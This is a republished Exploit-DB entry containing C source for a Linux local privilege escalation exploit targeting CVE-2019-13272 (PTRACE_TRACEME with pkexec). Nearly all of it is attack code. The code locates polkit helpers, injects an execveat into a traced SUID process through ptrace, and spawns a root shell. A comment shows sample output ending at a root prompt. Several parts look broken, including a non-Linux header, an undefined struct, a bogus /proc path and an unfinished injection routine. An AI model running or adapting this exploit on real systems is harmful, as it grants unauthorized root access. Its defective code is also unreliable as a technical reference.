Linux Kernel 5.1.x – ‘PTRACE_TRACEME’ pkexec Local Privilege Escalation (2)

  • 作者: Ujas Dhami
    日期: 2021-11-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50541/
  • # Exploit Title: Linux Kernel 5.1.x - 'PTRACE_TRACEME' pkexec Local Privilege Escalation (2)
    # Date: 11/22/21
    # Exploit Author: Ujas Dhami
    # Version: 4.19 - 5.2.1
    # Platform: Linux
    # Tested on:
    # ~ Ubuntu 19.04 kernel 5.0.0-15-generic
    # ~ Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
    # ~ Kali Linux kernel 4.19.0-kali5-amd64
    # CVE: CVE-2019-13272
    
    // ....
    // Original discovery and exploit author: Jann Horn
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
    // Modified exploit code of: BColes
    // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
    // ....
    // ~ Uses the PolKit_Exec frontend.
    // ~ PolKit_Action is branched.
    // ~ Search is optimized.
    // ~ Trunks attain search priority upon execution.
    // ....
    // ujas@kali:~$ gcc exploit_traceme.c -o exploit_traceme
    // ujas@kali:~$ ./exploit_traceme
    // Welcome to your Arsenal!
    // accessing variables...
    // execution has reached EOP.
    // familiar trunks are been searched ...
    // trunk helper found: /usr/sbin/mate-power-backlight-helper
    // helper initiated: /usr/sbin/mate-power-backlight-helper
    // SUID process is being initiated (/usr/bin/pkexec) ...
    // midpid is being traced...
    // midpid attached.
    // root@kali:/home/ujas#
    // ....
    
    #include <ctype.h>
    #include <assert.h>
    #include <conio.h>
    #include <stdio.h>
    #include <sys/syscall.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <sched.h>
    #include <stddef.h>
    #include <sys/user.h>
    #include <linux/elf.h>
    #include <stdarg.h>
    #include <pwd.h>
    #include <sys/prctl.h>
    #include <sys/wait.h>
    #include <sys/ptrace.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <signal.h>
    #define _GNU_SOURCE
    
    #define DEBUG
    #ifdef DEBUG
    #define dprintf printf
    #endif
    #define max(a,b) ((a)>(b) ? (a) : (b))
    #define eff(expr) ({ \
    typeof(expr) __res = (expr); \
    if (__res == -1) { \
    dprintf("[-] Error: %s\n", #expr); \
    return 0;\
    } \
    __res; \
    })
    
    struct stat st;
    
    const char *trunk[1024];
    
    const char *trunks_rec[] = {
    "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
    "/usr/sbin/mate-power-backlight-helper",
    "/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
    "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
    "/usr/lib/unity-settings-daemon/usd-backlight-helper",
    "/usr/bin/xfpm-power-backlight-helper",
    "/usr/bin/lxqt-backlight_backend",
    "/usr/lib/gsd-backlight-helper",
    "/usr/lib/gsd-wacom-led-helper",
    "/usr/lib/gsd-wacom-oled-helper",
    "/usr/libexec/gsd-wacom-led-helper",
    "/usr/libexec/gsd-wacom-oled-helper",
    "/usr/libexec/gsd-backlight-helper",
    
    };
    static int trace_align[2];
    static const char *path_exec = "/usr/bin/pkexec";
    static const char *path_action = "/usr/bin/pkaction";
    static int fd = -1;
    static int pipe_stat;
    static const char *term_sh = "/bin/bash";
    static int mid_succ = 1;
    static const char *path_doublealign;
    
    static char *tdisp(char *fmt, ...) {
    static char overlayfs[10000];
    va_list ap;
    va_start(ap, fmt);
    vsprintf(overlayfs, fmt, ap);
    va_end(ap);
    return overlayfs;
    }
    
    static int middle_main(void *overlayfs) {
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    pid_t middle = getpid();
    fd = eff(open("/proc/_fd/exe", O_RDONLY));
    pid_t child = eff(fork());
    
    if (child == 0) {
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    
    eff(dup2(fd, 42));
    int proc_fd = eff(open(tdisp("/proc/%d/status", middle), O_RDONLY));
    char *threadv = tdisp("\nUid:\t%d\t0\t", getuid());
    eff(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
    execl(path_exec, basename(path_exec), NULL);
    while (1) {
    char overlayfs[1000];
    ssize_t buflen = eff(pread(proc_fd, overlayfs, sizeof(overlayfs)-1, 0));
    overlayfs[buflen] = '\0';
    if (strstr(overlayfs, threadv)) break;
    }
    
    dprintf("SUID execution failed.");
    exit(EXIT_FAILURE);
    }
    
    eff(dup2(fd, 0));
    eff(dup2(trace_align[1], 1));
    
    struct passwd *pw = getpwuid(getuid());
    if (pw == NULL) {
    dprintf("err: username invalid/failed to fetch username");
    exit(EXIT_FAILURE);
    }
    
    mid_succ = 1;
    execl(path_exec, basename(path_exec), "--user", pw->pw_name,
    path_doublealign,
    "--help", NULL);
    mid_succ = 0;
    dprintf("err: pkexec execution failed.");
    exit(EXIT_FAILURE);
    }
    
    static int timeexecbuffer(pid_t pid, int exec_fd, char *arg0) {
    struct user_regs_struct regs;
    struct exeio exev = { .iov_base = &regs, .iov_len = sizeof(regs) };
    eff(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
    eff(waitpid(pid, &pipe_stat, 0));
    eff(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &exev));
    
    unsigned long inject_surface = (regs.rsp - 0x1000) & ~0xfffUL;
    struct injected_page {
    unsigned long inj_arse[2];
    unsigned long environment[1];
    char arg0[8];
    char path[1];
    } ipage = {
    .inj_arse = { inject_surface + offsetof(struct injected_page, arg0) }
    };
    strcpy(ipage.arg0, arg0);
    for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
    unsigned long pro_d = ((unsigned long *)&ipage)[i];
    eff(ptrace(PTRACE_POKETEXT, pid, inject_surface + i * sizeof(long),
    (void*)pro_d));
    }
    
    eff(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &exev));
    eff(ptrace(PTRACE_DETACH, pid, 0, NULL));
    eff(waitpid(pid, &pipe_stat, 0));
    
    regs.orig_rax = __NR_execveat;
    regs.rdi = exec_fd;
    regs.rsi = inject_surface + offsetof(struct injected_page, path);
    regs.rdx = inject_surface + offsetof(struct injected_page, inj_arse);
    regs.r10 = inject_surface + offsetof(struct injected_page, environment);
    regs.r8 = AT_EMPTY_PATH;
    }
    
    static int stag_2(void) {
    pid_t child = eff(waitpid(-1, &pipe_stat, 0));
    timeexecbuffer(child, 42, "stage3");
    return 0;
    }
    
    static int sh_spawn(void) {
    eff(setresgid(0, 0, 0));
    eff(setresuid(0, 0, 0));
    execlp(term_sh, basename(term_sh), NULL);
    dprintf("err: Shell spawn unsuccessful.", term_sh);
    exit(EXIT_FAILURE);
    }
    
    static int check_env(void) {
    const char* xdg_session = getenv("XDG_SESSION_ID");
    
    dprintf("accessing variables...\n");
    
    if (stat(path_action, &st) != 0) {
    dprintf("err: pkaction not found at %s.", path_action);
    exit(EXIT_FAILURE);
    }
    if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
    dprintf("warn: PolKit agent not found.\n");
    return 1;
    }
    if (stat("/usr/sbin/getsebool", &st) == 0) {
    if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) {
    dprintf("warn: [deny_ptrace] is enabled.\n");
    return 1;
    }
    }
    if (xdg_session == NULL) {
    dprintf("warn: $XDG_SESSION_ID is not set.\n");
    return 1;
    }
    if (stat(path_exec, &st) != 0) {
    dprintf("err: pkexec not found at %s.", path_exec);
    exit(EXIT_FAILURE);
    }
    
    dprintf("execution has reached EOP.\n");
    
    return 0;
    }
    
    int trunkh() {
    char cmd[1024];
    snprintf(cmd, sizeof(cmd), "%s --verbose", path_action);
    FILE *fp;
    fp = popen(cmd, "r");
    if (fp == NULL) {
    dprintf("err: Failed to run %s.\n", cmd);
    exit(EXIT_FAILURE);
    }
    
    char line[1024];
    char buffer[2048];
    int helper_index = 0;
    int useful_action = 0;
    static const char *threadv = "org.freedesktop.policykit.exec.path -> ";
    int needle_length = strlen(threadv);
    
    while (fgets(line, sizeof(line)-1, fp) != NULL) {
    if (strstr(line, "implicit active:")) {
    if (strstr(line, "yes")) {
    useful_action = 1;
    }
    continue;
    }
    
    if (useful_action == 0)
    continue;
    useful_action = 0;
    
    int length = strlen(line);
    char* found = memmem(&line[0], length, threadv, needle_length);
    if (found == NULL)
    continue;
    
    memset(buffer, 0, sizeof(buffer));
    for (int i = 0; found[needle_length + i] != '\n'; i++) {
    if (i >= sizeof(buffer)-1)
    continue;
    buffer[i] = found[needle_length + i];
    }
    
    if (stat(&buffer[0], &st) != 0)
    continue;
    
    if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
    strstr(&buffer[0], "/cpugovctl") != 0 ||
    strstr(&buffer[0], "/package-system-locked") != 0 ||
    strstr(&buffer[0], "/cddistupgrader") != 0) {
    dprintf("blacklisted thread helper ignored: %s\n", &buffer[0]);
    continue;
    }
    
    trunk[helper_index] = strndup(&buffer[0], strlen(buffer));
    helper_index++;
    
    if (helper_index >= sizeof(trunk)/sizeof(trunk[0]))
    break;
    }
    
    pclose(fp);
    return 0;
    }
    
    int root_ptraceme() {
    dprintf("helper initiated: %s\n", path_doublealign);
    
    eff(pipe2(trace_align, O_CLOEXEC|O_DIRECT));
    eff(fcntl(trace_align[0], F_SETPIPE_SZ, 0x1000));
    char overlayfs = 0;
    eff(write(trace_align[1], &overlayfs, 1));
    
    dprintf("SUID process is being initiated(%s) ...\n", path_exec);
    static char stackv[1024*1024];
    pid_t midpid = eff(clone(middle_main, stackv+sizeof(stackv),
    CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
    if (!mid_succ) return 1;
    while (1) {
    int fd = open(tdisp("/proc/%d/comm", midpid), O_RDONLY);
    char overlayfs[16];
    int buflen = eff(read(fd, overlayfs, sizeof(overlayfs)-1));
    overlayfs[buflen] = '\0';
    *strchrnul(overlayfs, '\n') = '\0';
    if (strncmp(overlayfs, basename(path_doublealign), 15) == 0)
    break;
    usleep(100000);
    }
    
    dprintf("midpid is being traced...\n");
    eff(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
    eff(waitpid(midpid, &pipe_stat, 0));
    dprintf("midpid attached.\n");
    
    timeexecbuffer(midpid, 0, "stage2");
    exit(EXIT_SUCCESS);
    }
    
    int main(int argc, char **inj_arse) {
    if (strcmp(inj_arse[0], "stage2") == 0)
    return stag_2();
    if (strcmp(inj_arse[0], "stage3") == 0)
    return sh_spawn();
    
    dprintf("Welcome to your Arsenal!\n");
    
    check_env();
    
    if (argc > 1 && strcmp(inj_arse[1], "check") == 0) {
    exit(0);
    }
    
    dprintf("efficient trunk is being searched...\n");
    trunkh();
    for (int i=0; i<sizeof(trunk)/sizeof(trunk[0]); i++) {
    if (trunk[i] == NULL)
    break;
    
    if (stat(trunk[i], &st) == 0) {
    path_doublealign = trunk[i];
    root_ptraceme();
    }
    }
    
    dprintf("familiar trunks are been searched ...\n");
    for (int i=0; i<sizeof(trunks_rec)/sizeof(trunks_rec[0]); i++) {
    if (stat(trunks_rec[i], &st) == 0) {
    path_doublealign = trunks_rec[i];
    dprintf("trunk helper found: %s\n", path_doublealign);
    root_ptraceme();
    }
    }
    
    return 0;
    }